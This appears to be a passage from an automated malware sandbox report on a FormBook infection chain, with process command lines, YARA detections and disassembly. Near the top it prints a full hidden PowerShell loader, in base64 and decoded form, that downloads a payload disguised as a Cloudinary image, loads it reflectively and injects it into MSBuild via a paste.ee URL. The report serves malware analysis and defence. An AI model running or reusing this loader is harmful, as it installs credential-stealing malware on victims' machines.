AbABvAGEAZABEAGEAdABhACgAJABsAGUAZQBjAGgAbABpAGsAZQApADsAJAB1AG4AZgBhAHQAaABvAG0AYQBiAGwAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHMAaABhAHAAZQByAHMAKQA7ACQAagBhAHAAYQBuAGkAegBlACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8AUwBUAEEAUgBUAD4APgAnADsAJABkAGUAZgBpAG4AZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4ASQBuAGQAZQB4AE8AZgAoACQAagBhAHAAYQBuAGkAegBlACkAOwAkAGIAbwBkAHkAcwB1AHIAZgBzACAAPQAgACQAdQBuAGYAYQB0AGgAbwBtAGEAYgBsAGUALgBJAG4AZABlAHgATwBmACgAJABkAGUAZgBpAG4AZQApADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGIAbwBkAHkAcwB1AHIAZgBzACAALQBnAHQAIAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzADsAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwAgACsAPQAgACQAagBhAHAAYQBuAGkAegBlAC4ATABlAG4AZwB0AGgAOwAkAGMAcgBlAG4AZQBsAGEAdABlACAAPQAgACQAYgBvAGQAeQBzAHUAcgBmAHMAIAAtACAAJABzAGUAbgB0AGkAbQBlAG4AdABhAGwAaQBzAG0AcwA7ACQAcwBlAGEAdwBhAG4AdAAgAD0AIAAkAHUAbgBmAGEAdABoAG8AbQBhAGIAbABlAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAZQBuAHQAaQBtAGUAbgB0AGEAbABpAHMAbQBzACwAIAAkAGMAcgBlAG4AZQBsAGEAdABlACkAOwAkAGgAaQBsAGwAbwBjAGsAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAJABzAGUAYQB3AGEAbgB0AC4AVABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGgAaQBsAGwAbwBjAGsAZQBkACkAOwAkAHMAdAByAHUAdAB0AGUAZAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABuAG8AbgBnAGEAeQBzACkAOwAkAG0AZQBkAGkAYwBhAGwAcwAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBWAEEASQAnACkAOwAkAG0AZQBkAGkAYwBhAGwAcwAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABAACgAJwAwAC8AagBMAGIANwBBAC8AcgAvAGUAZQAuAGUAdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgAJwAsACAAJwBkAG8AYgBzAG8AbgAnACwAIAAnAGQAbwBiAHMAbwBuACcALAAgACcAZABvAGIAcwBvAG4AJwAsACAAJwBNAFMAQgB1AGkAbABkACcALAAgACcAZABvAGIAcwBvAG4AJwAsACAAJwBkAG8AYgBzAG8AbgAnACwAJwBkAG8AYgBzAG8AbgAnACwAJwBkAG8AYgBzAG8AbgAnACwAJwBkAG8AYgBzAG8AbgAnACwAJwBkAG8AYgBzAG8AbgAnACwAJwBkAG8AYgBzAG8AbgAnACwAJwAxACcALAAnAGQAbwBiAHMAbwBuACcAKQApADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsA';$commy = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($orgiasts));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $commy
                                                                        Imagebase:0x7ff6cb6b0000
                                                                        File size:452'608 bytes
                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                        Has elevated privileges:false
                                                                        Has administrator privileges:false
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:5
                                                                        Start time:06:15:14
                                                                        Start date:11/12/2024
                                                                        Path:C:\Windows\System32\conhost.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                        Imagebase:0x7ff6ee680000
                                                                        File size:862'208 bytes
                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                        Has elevated privileges:false
                                                                        Has administrator privileges:false
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:6
                                                                        Start time:06:15:15
                                                                        Start date:11/12/2024
                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEach-Object { $_ })[-1..-($seawant.Length)];$nongays = [System.Convert]::FromBase64String($hillocked);$strutted = [System.Reflection.Assembly]::Load($nongays);$medicals = [dnlib.IO.Home].GetMethod('VAI');$medicals.Invoke($null, @('0/jLb7A/r/ee.etsap//:sptth', 'dobson', 'dobson', 'dobson', 'MSBuild', 'dobson', 'dobson','dobson','dobson','dobson','dobson','dobson','1','dobson'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
                                                                        Imagebase:0x7ff6cb6b0000
                                                                        File size:452'608 bytes
                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                        Has elevated privileges:false
                                                                        Has administrator privileges:false
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:8
                                                                        Start time:06:15:40
                                                                        Start date:11/12/2024
                                                                        Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                        Wow64 process (32bit):true
                                                                        Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                        Imagebase:0x8e0000
                                                                        File size:262'432 bytes
                                                                        MD5 hash:8FDF47E0FF70C40ED3A17014AEEA4232
                                                                        Has elevated privileges:false
                                                                        Has administrator privileges:false
                                                                        Programmed in:C, C++ or other language
                                                                        Yara matches:
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.1989278697.00000000012A0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        General

                                                                        Target ID:11
                                                                        Start time:06:16:00
                                                                        Start date:11/12/2024
                                                                        Path:C:\Windows\SysWOW64\choice.exe
                                                                        Wow64 process (32bit):true
                                                                        Commandline:"C:\Windows\SysWOW64\choice.exe"
                                                                        Imagebase:0x250000
                                                                        File size:28'160 bytes
                                                                        MD5 hash:FCE0E41C87DC4ABBE976998AD26C27E4
                                                                        Has elevated privileges:false
                                                                        Has administrator privileges:false
                                                                        Programmed in:C, C++ or other language
                                                                        Yara matches:
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2697311671.0000000004A70000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000B.00000002.2697161668.0000000004A20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                        Reputation:moderate
                                                                        Has exited:false

                                                                        General

                                                                        Target ID:12
                                                                        Start time:06:16:27
                                                                        Start date:11/12/2024
                                                                        Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                        Wow64 process (32bit):false
                                                                        Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                                        Imagebase:0x7ff6d20e0000
                                                                        File size:676'768 bytes
                                                                        MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                        Has elevated privileges:false
                                                                        Has administrator privileges:false
                                                                        Programmed in:C, C++ or other language
                                                                        Reputation:high
                                                                        Has exited:true

                                                                        Disassembly

                                                                        Reset < >

                                                                          Execution Graph

                                                                          Execution Coverage:2.8%
                                                                          Dynamic/Decrypted Code Coverage:0%
                                                                          Signature Coverage:34.2%
                                                                          Total number of Nodes:73
                                                                          Total number of Limit Nodes:4
                                                                          execution_graph 10819 7dfb3e 10823 7dfb73 10819->10823 10820 7dfb88 SleepEx 10821 7dfbd8 NtCreateSection 10820->10821 10820->10823 10822 7dfbb5 10821->10822 10824 7dfc2f 10821->10824 10823->10820 10823->10822 10824->10822 10825 7dfc4e NtMapViewOfSection 10824->10825 10825->10822 10826 7dfc93 NtMapViewOfSection 10825->10826 10826->10822 10827 2059409c4b7 10831 2059409c4d4 10827->10831 10828 2059409c56d 10829 2059409c4fb SleepEx 10829->10831 10831->10828 10831->10829 10833 2059409afe8 10831->10833 10837 2059409b138 10831->10837 10836 2059409b02d 10833->10836 10834 2059409b0ca 10834->10831 10836->10834 10841 205940a8848 10836->10841 10838 2059409b206 10837->10838 10839 2059409b151 10837->10839 10838->10831 10840 205940a8848 4 API calls 10839->10840 10840->10838 10842 205940a88c5 10841->10842 10843 205940a88e1 10842->10843 10845 2059409c9e8 10842->10845 10843->10836 10846 2059409ca0e 10845->10846 10848 2059409cb6b 10846->10848 10854 2059409ccdb 10846->10854 10855 205940a4278 10846->10855 10849 2059409cc33 10848->10849 10851 2059409cc0b getaddrinfo 10848->10851 10848->10854 10853 2059409ccaf 10849->10853 10849->10854 10858 205940a4468 10849->10858 10851->10849 10853->10854 10861 205940a43b8 10853->10861 10854->10843 10857 205940a42a2 10855->10857 10856 205940a42f4 socket 10856->10848 10857->10856 10859 205940a448f 10858->10859 10860 205940a44e5 connect 10859->10860 10860->10853 10862 205940a4401 10861->10862 10863 205940a4435 send 10862->10863 10863->10854 10864 2059409c9e8 10865 2059409ca0e 10864->10865 10866 205940a4278 socket 10865->10866 10867 2059409cb6b 10865->10867 10873 2059409ccdb 10865->10873 10866->10867 10868 2059409cc33 10867->10868 10870 2059409cc0b getaddrinfo 10867->10870 10867->10873 10869 205940a4468 connect 10868->10869 10872 2059409ccaf 10868->10872 10868->10873 10869->10872 10870->10868 10871 205940a43b8 send 10871->10873 10872->10871 10872->10873 10874 2059409b888 10875 2059409b8ae 10874->10875 10876 2059409b927 10875->10876 10877 2059409b8f9 CreateThread 10875->10877 10878 7e3ea1 10880 7e3eab 10878->10880 10879 7e3faa 10880->10879 10884 7ee928 10880->10884 10882 7e3f93 10888 7dfcf8 10882->10888 10885 7ee999 10884->10885 10886 7ee9ab 10885->10886 10894 7df9e8 10885->10894 10886->10882 10890 7dfd1e 10888->10890 10889 7dfd58 SleepEx 10889->10890 10893 7dfd8c 10889->10893 10890->10889 10892 7dfd43 10890->10892 10891 7dfdcb NtResumeThread 10891->10892 10892->10879 10893->10891 10893->10892 10897 7dfa1a 10894->10897 10895 7dfb88 SleepEx 10896 7dfbd8 NtCreateSection 10895->10896 10895->10897 10898 7dfc2f 10896->10898 10899 7dfbb5 10896->10899 10897->10895 10897->10899 10898->10899 10900 7dfc4e NtMapViewOfSection 10898->10900 10899->10886 10900->10899 10901 7dfc93 NtMapViewOfSection 10900->10901 10901->10899

                                                                          Executed Functions

                                                                          Function 007DF9E8 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 253COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 0 7df9e8-7dfa18 1 7dfa1a-7dfa1b 0->1 2 7dfa35-7dfa4c 0->2 3 7dfa20-7dfa34 1->3 2->3 4 7dfa4e-7dfab5 2->4 3->2 6 7dfb18-7dfb85 4->6 7 7dfab7-7dfad8 4->7 17 7dfb88-7dfb94 SleepEx 6->17 9 7dfada-7dfae1 7->9 11 7dfae9 9->11 12 7dfae3-7dfae7 9->12 14 7dfaea-7dfaf2 11->14 15 7dfaf4-7dfaf8 11->15 12->11 14->15 15->9 16 7dfafa-7dfb16 15->16 16->6 18 7dfbd8-7dfc2d NtCreateSection 17->18 19 7dfb96-7dfb9a 17->19 22 7dfc2f-7dfc48 18->22 23 7dfbb5-7dfbbc 18->23 20 7dfb9c-7dfba9 call 7ecf08 19->20 21 7dfbae-7dfbb3 19->21 20->21 21->17 21->23 22->23 27 7dfc4e-7dfc8d NtMapViewOfSection 22->27 25 7dfbbe-7dfbd7 23->25 27->23 28 7dfc93-7dfcd1 NtMapViewOfSection 27->28 28->23 29 7dfcd7-7dfcef 28->29 29->25
                                                                          APIs
                                                                          • SleepEx.KERNEL32(38C7E5F5,000000A3), ref: 007DFB8E
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2127945024.00000000005D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005D0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_5d0000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID: Sleep
                                                                          • String ID: @$@
                                                                          • API String ID: 3472027048-149943524
                                                                          • Opcode ID: 6d8da88b7346f02fe20e9cb9dc25188aad902ff77a71fa4c657e6043ba6aa1f6
                                                                          • Instruction ID: ded3032f1706474cdbccdac98353517f7c7079b377eb75d13784b4612e9a0a5c
                                                                          • Opcode Fuzzy Hash: 6d8da88b7346f02fe20e9cb9dc25188aad902ff77a71fa4c657e6043ba6aa1f6
                                                                          • Instruction Fuzzy Hash: 6A813571A18B488FD715DF38C48969EBBF0FB89710F00426FE88A97241DB309946CBC1
                                                                          Function 000002059409C9E8 Relevance: 7.8, APIs: 1, Strings: 3, Instructions: 833COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 30 2059409c9e8-2059409ca1b 32 2059409ca1d-2059409ca32 call 205940a8108 30->32 33 2059409ca37-2059409ca73 30->33 32->33 35 2059409ca93-2059409ca9b 33->35 36 2059409ca75-2059409ca79 33->36 38 2059409d3a3-2059409d3b2 35->38 39 2059409caa1-2059409caaa 35->39 36->35 37 2059409ca7b-2059409ca7f 36->37 37->35 40 2059409ca81-2059409ca85 37->40 39->38 41 2059409cab0-2059409cace 39->41 40->35 42 2059409ca87-2059409ca8b 40->42 43 2059409cadf-2059409cae3 41->43 44 2059409cad0-2059409cad8 41->44 42->35 47 2059409ca8d-2059409ca91 42->47 45 2059409cae5-2059409cae9 43->45 46 2059409caeb-2059409caec 43->46 44->43 45->46 48 2059409caf3-2059409cafc 45->48 46->48 47->35 47->39 49 2059409cafe-2059409cb02 48->49 50 2059409cb16-2059409cb1a 48->50 51 2059409cb24-2059409cb49 49->51 52 2059409cb04-2059409cb14 49->52 50->51 53 2059409cb1c-2059409cb1d 50->53 54 2059409cb51-2059409cb66 call 205940a4278 51->54 55 2059409cb4b-2059409cb4f 51->55 52->53 53->51 58 2059409cb6b-2059409cb8b 54->58 55->54 56 2059409cb91-2059409cb94 55->56 59 2059409cc44-2059409cc51 56->59 60 2059409cb9a-2059409cba2 56->60 58->56 61 2059409d393-2059409d39c 58->61 59->61 62 2059409cc57-2059409cc60 59->62 63 2059409cba4-2059409cbce call 205940972f8 call 205940a7db8 60->63 64 2059409cbd5-2059409cbe9 60->64 61->38 66 2059409cc7d-2059409cc8e 62->66 67 2059409cc62-2059409cc76 call 205940a41e8 62->67 63->64 64->61 65 2059409cbef-2059409cbf5 64->65 65->61 70 2059409cbfb-2059409cbfd 65->70 72 2059409cc90-2059409ccaa call 205940a4468 66->72 73 2059409cce5-2059409cd11 66->73 67->66 70->61 76 2059409cc03-2059409cc05 70->76 80 2059409ccaf-2059409ccd9 72->80 77 2059409cd13-2059409cd34 call 205940a8108 73->77 78 2059409cd36-2059409cd3a 73->78 76->61 82 2059409cc0b-2059409cc31 getaddrinfo 76->82 90 2059409cd85 call 205940a8108 77->90 84 2059409cd40-2059409cd44 78->84 85 2059409d38b-2059409d38c 78->85 80->73 86 2059409ccdb-2059409cce0 80->86 82->59 87 2059409cc33-2059409cc3c 82->87 84->85 89 2059409cd4a-2059409cd4e 84->89 85->61 86->61 87->59 91 2059409cd50-2059409cd54 89->91 92 2059409cd56-2059409cd83 call 205940a8108 89->92 94 2059409cd8a-2059409ce3a call 205940a80d8 call 205940a4668 call 205940a5778 * 2 call 205940a80d8 call 205940a4c18 call 205940a82c8 90->94 91->92 91->94 92->90 111 2059409ce51-2059409ce7c 94->111 112 2059409ce3c-2059409ce40 94->112 114 2059409ce82-2059409ce86 111->114 115 2059409cf67-2059409cf8d call 2059409ed88 111->115 112->111 113 2059409ce42-2059409ce4e call 2059409e198 112->113 113->111 114->115 117 2059409ce8c-2059409cf65 call 205940a8558 * 3 call 205940a82c8 * 2 call 205940a5778 * 2 114->117 123 2059409cf8f-2059409cf93 115->123 124 2059409cfc9-2059409d003 call 205940a4518 115->124 117->123 127 2059409cf99-2059409cf9d 123->127 128 2059409d10a-2059409d116 call 205940a82c8 123->128 124->85 127->128 132 2059409cfa3-2059409cfc7 call 2059409edb8 127->132 137 2059409d191-2059409d1bf call 20594097088 call 205940a43b8 128->137 138 2059409d118 128->138 132->124 140 2059409d008-2059409d08a call 205940a82c8 call 205940a80d8 call 205940a82c8 call 205940a4c18 call 205940a82c8 * 3 132->140 152 2059409d1c4-2059409d1c6 137->152 141 2059409d122-2059409d180 call 20594097088 call 205940a94a8 call 205940a4518 138->141 200 2059409d0a7-2059409d0ab 140->200 201 2059409d08c-2059409d0a2 call 205940a82c8 call 205940a80d8 140->201 141->85 156 2059409d1f2-2059409d1f6 152->156 157 2059409d1c8-2059409d1de 152->157 162 2059409d1f8-2059409d1fc 156->162 163 2059409d20a-2059409d221 156->163 157->156 160 2059409d1e0-2059409d1e4 157->160 160->156 166 2059409d1e6-2059409d1ed 160->166 168 2059409d331-2059409d36f call 205940a4518 162->168 169 2059409d202-2059409d204 162->169 171 2059409d23f-2059409d2d7 call 205940a8108 call 205940a80d8 163->171 172 2059409d223-2059409d239 163->172 166->168 168->85 185 2059409d371-2059409d386 call 205940a8108 168->185 169->163 169->168 196 2059409d2d9 171->196 197 2059409d31a-2059409d327 171->197 172->168 172->171 185->85 196->197 199 2059409d2db-2059409d2e0 196->199 197->168 199->197 202 2059409d2e2-2059409d318 199->202 204 2059409d0ad-2059409d0b6 200->204 205 2059409d11a-2059409d11f 200->205 201->200 202->196 202->197 208 2059409d0e2-2059409d0f7 204->208 209 2059409d0b8-2059409d0c1 204->209 205->141 208->137 213 2059409d0fd-2059409d105 208->213 211 2059409d0d3-2059409d0dc 209->211 212 2059409d0c3-2059409d0cc 209->212 211->208 214 2059409d185-2059409d18e 211->214 212->211 213->137 214->137
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID: getaddrinfo
                                                                          • String ID: &br=$&un=$dat=
                                                                          • API String ID: 300660673-1268146196
                                                                          • Opcode ID: cd8104b4fdbe0cae69dc579cb29d05306e77e3cdb505c5236725b8c0989b8db3
                                                                          • Instruction ID: 68d04def39384b849f6064b64d320014ebded3f596aa5818679537ac6356a140
                                                                          • Opcode Fuzzy Hash: cd8104b4fdbe0cae69dc579cb29d05306e77e3cdb505c5236725b8c0989b8db3
                                                                          • Instruction Fuzzy Hash: 89628F71618B5C8FDB68EF28D49CAEEB7E1FB99300F10452DE58AC7183DA3098458F81
                                                                          Function 007DFCF4 Relevance: 3.1, APIs: 2, Instructions: 93nativethreadCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 215 7dfcf4-7dfd17 216 7dfd1e-7dfd41 call 7ec4f8 215->216 217 7dfd19 call 7dc0f8 215->217 220 7dfd4b-7dfd52 216->220 221 7dfd43-7dfd49 216->221 217->216 223 7dfd58-7dfd62 SleepEx 220->223 222 7dfd78-7dfd8b 221->222 224 7dfd8c-7dfd94 223->224 225 7dfd64-7dfd69 223->225 226 7dfdcb-7dfdd8 NtResumeThread 224->226 227 7dfd96-7dfdc9 call 7dc198 call 7ec4f8 224->227 225->223 228 7dfd6b-7dfd71 225->228 226->228 230 7dfdda-7dfde5 226->230 227->226 227->228 231 7dfd73-7dfd74 228->231 230->231 231->222
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2127945024.00000000005D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005D0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_5d0000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID: ResumeSleepThread
                                                                          • String ID:
                                                                          • API String ID: 1530989685-0
                                                                          • Opcode ID: 6b54275e8c1a73e1592ae6dc2e07807a4dee123f5e3800549bbfcaa29b564534
                                                                          • Instruction ID: 0d5e0a441dda5f5b7b3b550b55e11436982a559ac9973518dad84fb0ffdfa63a
                                                                          • Opcode Fuzzy Hash: 6b54275e8c1a73e1592ae6dc2e07807a4dee123f5e3800549bbfcaa29b564534
                                                                          • Instruction Fuzzy Hash: 5E219234618B8D8FDB68DF68889936AB7E1FB59314F10072AD89BC7391EF34D5428741
                                                                          Function 000002059409C9E5 Relevance: 1.8, APIs: 1, Instructions: 271COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 235 2059409c9e5-2059409ca1b 237 2059409ca1d-2059409ca32 call 205940a8108 235->237 238 2059409ca37-2059409ca73 235->238 237->238 240 2059409ca93-2059409ca9b 238->240 241 2059409ca75-2059409ca79 238->241 243 2059409d3a3-2059409d3b2 240->243 244 2059409caa1-2059409caaa 240->244 241->240 242 2059409ca7b-2059409ca7f 241->242 242->240 245 2059409ca81-2059409ca85 242->245 244->243 246 2059409cab0-2059409cace 244->246 245->240 247 2059409ca87-2059409ca8b 245->247 248 2059409cadf-2059409cae3 246->248 249 2059409cad0-2059409cad8 246->249 247->240 252 2059409ca8d-2059409ca91 247->252 250 2059409cae5-2059409cae9 248->250 251 2059409caeb-2059409caec 248->251 249->248 250->251 253 2059409caf3-2059409cafc 250->253 251->253 252->240 252->244 254 2059409cafe-2059409cb02 253->254 255 2059409cb16-2059409cb1a 253->255 256 2059409cb24-2059409cb49 254->256 257 2059409cb04-2059409cb14 254->257 255->256 258 2059409cb1c-2059409cb1d 255->258 259 2059409cb51-2059409cb8b call 205940a4278 256->259 260 2059409cb4b-2059409cb4f 256->260 257->258 258->256 261 2059409cb91-2059409cb94 259->261 266 2059409d393-2059409d39c 259->266 260->259 260->261 264 2059409cc44-2059409cc51 261->264 265 2059409cb9a-2059409cba2 261->265 264->266 267 2059409cc57-2059409cc60 264->267 268 2059409cba4-2059409cbce call 205940972f8 call 205940a7db8 265->268 269 2059409cbd5-2059409cbe9 265->269 266->243 271 2059409cc7d-2059409cc8e 267->271 272 2059409cc62-2059409cc76 call 205940a41e8 267->272 268->269 269->266 270 2059409cbef-2059409cbf5 269->270 270->266 275 2059409cbfb-2059409cbfd 270->275 277 2059409cc90-2059409ccd9 call 205940a4468 271->277 278 2059409cce5-2059409cd11 271->278 272->271 275->266 281 2059409cc03-2059409cc05 275->281 277->278 291 2059409ccdb-2059409cce0 277->291 282 2059409cd13-2059409cd34 call 205940a8108 278->282 283 2059409cd36-2059409cd3a 278->283 281->266 287 2059409cc0b-2059409cc31 getaddrinfo 281->287 295 2059409cd85 call 205940a8108 282->295 289 2059409cd40-2059409cd44 283->289 290 2059409d38b-2059409d38c 283->290 287->264 292 2059409cc33-2059409cc3c 287->292 289->290 294 2059409cd4a-2059409cd4e 289->294 290->266 291->266 292->264 296 2059409cd50-2059409cd54 294->296 297 2059409cd56-2059409cd83 call 205940a8108 294->297 299 2059409cd8a-2059409ce3a call 205940a80d8 call 205940a4668 call 205940a5778 * 2 call 205940a80d8 call 205940a4c18 call 205940a82c8 295->299 296->297 296->299 297->295 316 2059409ce51-2059409ce7c 299->316 317 2059409ce3c-2059409ce40 299->317 319 2059409ce82-2059409ce86 316->319 320 2059409cf67-2059409cf8d call 2059409ed88 316->320 317->316 318 2059409ce42-2059409ce4e call 2059409e198 317->318 318->316 319->320 322 2059409ce8c-2059409cf65 call 205940a8558 * 3 call 205940a82c8 * 2 call 205940a5778 * 2 319->322 328 2059409cf8f-2059409cf93 320->328 329 2059409cfc9-2059409d003 call 205940a4518 320->329 322->328 332 2059409cf99-2059409cf9d 328->332 333 2059409d10a-2059409d116 call 205940a82c8 328->333 329->290 332->333 337 2059409cfa3-2059409cfc7 call 2059409edb8 332->337 342 2059409d191-2059409d1c6 call 20594097088 call 205940a43b8 333->342 343 2059409d118 333->343 337->329 345 2059409d008-2059409d08a call 205940a82c8 call 205940a80d8 call 205940a82c8 call 205940a4c18 call 205940a82c8 * 3 337->345 361 2059409d1f2-2059409d1f6 342->361 362 2059409d1c8-2059409d1de 342->362 346 2059409d122-2059409d180 call 20594097088 call 205940a94a8 call 205940a4518 343->346 405 2059409d0a7-2059409d0ab 345->405 406 2059409d08c-2059409d0a2 call 205940a82c8 call 205940a80d8 345->406 346->290 367 2059409d1f8-2059409d1fc 361->367 368 2059409d20a-2059409d221 361->368 362->361 365 2059409d1e0-2059409d1e4 362->365 365->361 371 2059409d1e6-2059409d1ed 365->371 373 2059409d331-2059409d36f call 205940a4518 367->373 374 2059409d202-2059409d204 367->374 376 2059409d23f-2059409d2d7 call 205940a8108 call 205940a80d8 368->376 377 2059409d223-2059409d239 368->377 